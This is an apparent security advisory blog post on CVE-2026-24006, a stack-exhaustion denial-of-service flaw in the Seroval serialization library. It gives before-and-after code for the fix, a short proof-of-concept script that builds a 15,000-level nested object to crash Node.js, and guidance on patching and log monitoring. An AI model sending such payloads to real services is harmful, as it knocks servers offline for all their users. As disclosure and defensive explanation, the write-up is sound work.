Infinite Matryoshka: Crashing Seroval with Recursion
Jan 23, 2026·7 min read·7 visits
Executive Summary (TL;DR)
Seroval versions 1.4.0 and below fail to limit recursion depth during object serialization. An attacker can submit a crafted, deeply nested JSON object (e.g., 10,000 levels deep), causing the JavaScript engine to throw a 'RangeError: Maximum call stack size exceeded'. This crashes the Node.js process, effectively killing the server. The fix in 1.4.1 introduces a strict depth limit.
A high-severity Denial of Service (DoS) vulnerability in the Seroval JavaScript serialization library allows attackers to crash applications via stack exhaustion. By supplying deeply nested objects, attackers can trigger unbounded recursion, exceeding the V8 call stack limit.
The Hook: Serializing the Unserializable
JavaScript serialization is usually boring. You have JSON.stringify(), and life is good—until you try to serialize a Set, a Map, or God forbid, a circular reference. That's when the standard library throws its hands up and quits. Enter Seroval. It’s the library you grab when you need to serialize the complex, the weird, and the messy state of a modern JavaScript application, often for Server-Side Rendering (SSR) or hydrating complex state on the client.
But here's the thing about tools designed to handle complexity: they often assume the data structure, while complex, is at least sane. Seroval's job is to traverse your object graph, node by node, and turn it into a string representation.
CVE-2026-24006 is what happens when that traversal lacks boundaries. It’s a classic case of "I'll stop when I reach the bottom," but the attacker digs a bottomless pit. By feeding Seroval a meticulously crafted, deeply nested object, we can trick the library into calling itself recursively until the JavaScript engine runs out of stack space and unceremoniously kills the process. It’s not a fancy buffer overflow; it’s a logical failure to realize that computers have finite memory.
The Flaw: A Stack Without a Ceiling
To understand this bug, we have to look at how Seroval (and most recursive parsers) works under the hood. When Seroval encounters an object, it needs to look inside it. If it finds another object inside that, it looks inside that one. This is implemented via recursion: a function calling itself.
In V8 (the engine powering Node.js), the call stack is not infinite. It has a hard limit (usually around 10,000 to 15,000 frames depending on the architecture and frame size). Every time a function calls itself, a new frame is pushed onto the stack. If you push too many frames without popping any (i.e., returning), you hit the ceiling.
In versions 1.4.0 and below, Seroval's traversal logic looked something like this:
function traverse(node) {
// Handle primitive
if (isPrimitive(node)) return node;
// Handle Object
for (const key in node) {
// RECURSION DANGER ZONE
traverse(node[key]);
}
}The flaw is the absence of a depth guard. The code assumes that any valid object graph will have a reasonable depth. But "reasonable" is a subjective term that attackers do not respect. The library happily continues diving deeper into the rabbit hole, allocating stack frames for each level of nesting, until the inevitable RangeError: Maximum call stack size exceeded occurs.
The Code: Before and After
The fix provided in version 1.4.1 is a textbook example of how to mitigate recursion bombs. The maintainers introduced a depthLimit and a counter that increments with every recursive dive.
Let's look at the vulnerable logic logic versus the patched logic. The commit of interest is ce9408ebc87312fcad345a73c172212f2a798060.
The Vulnerable Pattern (Simplified):
export function parseSOS<T>(ctx: SOSParserContext, current: T): SerovalNode {
// No check for how deep we are!
// ... processing logic ...
return parseObject(ctx, ref.value, current as object);
}The Fix (Commit ce9408e):
The patch introduces a depth argument to the parsing functions and a hard check against ctx.base.depthLimit.
// sync-parser.ts
export function parseSOS<T>(ctx: SOSParserContext, depth: number, current: T): SerovalNode {
// 1. The Guard
if (depth >= ctx.base.depthLimit) {
throw new SerovalDepthLimitError(ctx.base.depthLimit);
}
// ... processing logic ...
// 2. The Increment
return parseObject(ctx, depth + 1, ref.value, current as object);
}They didn't just add this to one file; they threaded the depth parameter through the entire serialization context (AsyncParsePluginContext, BaseParserContext, etc.). They also set a default limit of 1000. If you nest your objects deeper than 1000 levels, Seroval now throws a controlled SerovalDepthLimitError instead of crashing the entire runtime. Polite, efficient, and safe.
The Exploit: Building the Tower of Babel
Exploiting this is trivially easy. We don't need shellcode, we don't need heap spraying, and we don't need to bypass ASLR. We just need a for loop.
The goal is to create an object structure that looks like a.a.a.a.a... repeated enough times to smash the stack. Here is a Proof-of-Concept (PoC) that kills a vulnerable Seroval instance:
const { serialize } = require('seroval');
// 1. Craft the recursive nightmare
// V8 usually taps out around 10k-15k frames depending on memory
const DEPTH = 15000;
console.log(`[*] Crafting payload with depth: ${DEPTH}...`);
let payload = {};
let current = payload;
for (let i = 0; i < DEPTH; i++) {
current.next = {};
current = current.next;
}
console.log("[*] Payload created. Sending to Seroval...");
try {
// 2. Trigger the crash
serialize(payload);
} catch (e) {
if (e instanceof RangeError) {
console.log("[+] Target Crashed! Stack overflow confirmed.");
console.log(` Error: ${e.message}`);
} else {
console.log("[-] Unknown error:", e);
}
}When you run this against Seroval <= 1.4.0, the process crashes. In a real-world scenario, imagine an API endpoint taking a JSON body or a query parameter that gets serialized for some reason (logging, caching, SSR). Sending this payload results in an immediate 500 error at best, or a total service outage at worst if the Node process doesn't restart automatically.
The Impact: Why SSR Makes This Dangerous
You might think, "Who cares? It just crashes." In the world of Node.js, a crash is a big deal. Unlike PHP or threaded environments where a crash affects one user's request, a Node.js process crash brings down the server for everyone currently connected to that instance.
Seroval is heavily used in Server-Side Rendering (SSR) frameworks (like SolidStart or Qwik) to transfer state from the server to the client. If an attacker can manipulate the state being serialized—perhaps by inputting a deeply nested structure into a profile field, a comment, or a configuration object—they can kill the rendering server.
This is a low-bandwidth, high-impact DoS. No botnet required. Just one request with a very deep object.
The Fix: Upgrade or Die
The mitigation strategy is straightforward: Update to version 1.4.1 or later. The patched version enforces a default depth limit of 1000, which is sufficient for 99.9% of legitimate use cases but prevents the stack overflow.
If you absolutely cannot update (why?), you would need to implement a validation layer before Seroval touches the data. You could write a recursive function to check the depth of incoming objects, but be careful—if you write that validator poorly, you'll just introduce the exact same stack overflow vulnerability in your validation code instead of the library. Irony is cruel like that.
For defenders monitoring logs: look for RangeError: Maximum call stack size exceeded occurring within seroval modules. After patching, you should instead monitor for SerovalDepthLimitError, which indicates someone is trying to exploit you (or your data structures are horrifyingly complex).
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
seroval lxsmnsyc | <= 1.4.0 | 1.4.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-770 |
| Attack Vector | Network (Remote) |
| CVSS | 7.5 (High) |
| EPSS | 0.036% |
| Impact | Denial of Service (DoS) |
| Exploit Status | PoC Available |
| KEV Status | Not Listed |
MITRE ATT&CK Mapping
Allocation of Resources Without Limits or Throttling
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.